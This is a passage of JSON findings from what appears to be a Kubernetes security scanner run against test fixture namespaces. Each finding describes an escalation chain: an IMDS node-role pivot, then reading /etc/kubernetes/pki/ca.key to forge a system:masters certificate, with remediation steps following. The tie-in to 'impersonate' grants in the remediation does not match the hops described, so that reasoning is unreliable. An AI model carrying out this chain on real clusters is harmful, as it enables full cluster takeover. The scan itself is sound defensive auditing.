    "description": "Subject `ServiceAccount/hookbackend-fixtures/default` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/hookbackend-fixtures/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod hookbackend-fixtures/hookbackend-injector-98b757bb8-kvrpv falls back to node IAM role via IMDS\n  2. `ServiceAccount/hookbackend-fixtures/default` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "hookbackend-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/hookbackend-fixtures/default` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/hookbackend-fixtures/default`.",
      "Acting as `ServiceAccount/hookbackend-fixtures/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod hookbackend-fixtures/hookbackend-injector-98b757bb8-kvrpv falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/hookbackend-fixtures/default`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/hookbackend-fixtures/default` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/hookbackend-fixtures/default` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod hookbackend-fixtures/hookbackend-injector-98b757bb8-kvrpv falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/imgswap-fixtures/imgswap-reader:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/imgswap-fixtures/imgswap-reader` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/imgswap-fixtures/imgswap-reader` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/imgswap-fixtures/imgswap-reader` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS\n  2. `ServiceAccount/imgswap-fixtures/imgswap-reader` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "imgswap-reader",
      "namespace": "imgswap-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/imgswap-fixtures/imgswap-reader` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/imgswap-fixtures/imgswap-reader`.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-reader`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-reader`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-reader` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-reader` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/ingress-only/default:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/ingress-only/default` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/ingress-only/default` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/ingress-only/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod ingress-only/ingress-app-7bdfc6c57-5rxwj falls back to node IAM role via IMDS\n  2. `ServiceAccount/ingress-only/default` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "ingress-only"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/ingress-only/default` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/ingress-only/default`.",
      "Acting as `ServiceAccount/ingress-only/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod ingress-only/ingress-app-7bdfc6c57-5rxwj falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/ingress-only/default`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/ingress-only/default` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/ingress-only/default` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "ingress-only"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod ingress-only/ingress-app-7bdfc6c57-5rxwj falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "ingress-only"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/lp-fixtures/sa-lp-narrow:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/lp-fixtures/sa-lp-narrow` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/lp-fixtures/sa-lp-narrow` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/lp-fixtures/sa-lp-narrow` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-narrow-app-6b8848bf64-n4wrj falls back to node IAM role via IMDS\n  2. `ServiceAccount/lp-fixtures/sa-lp-narrow` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-narrow",
      "namespace": "lp-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/lp-fixtures/sa-lp-narrow` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/lp-fixtures/sa-lp-narrow`.",
      "Acting as `ServiceAccount/lp-fixtures/sa-lp-narrow`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod lp-fixtures/lp-narrow-app-6b8848bf64-n4wrj falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/lp-fixtures/sa-lp-narrow`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-narrow` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-narrow` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-lp-narrow",
          "namespace": "lp-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod lp-fixtures/lp-narrow-app-6b8848bf64-n4wrj falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-lp-narrow",
          "namespace": "lp-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/lp-fixtures/sa-lp-orphan:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/lp-fixtures/sa-lp-orphan` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
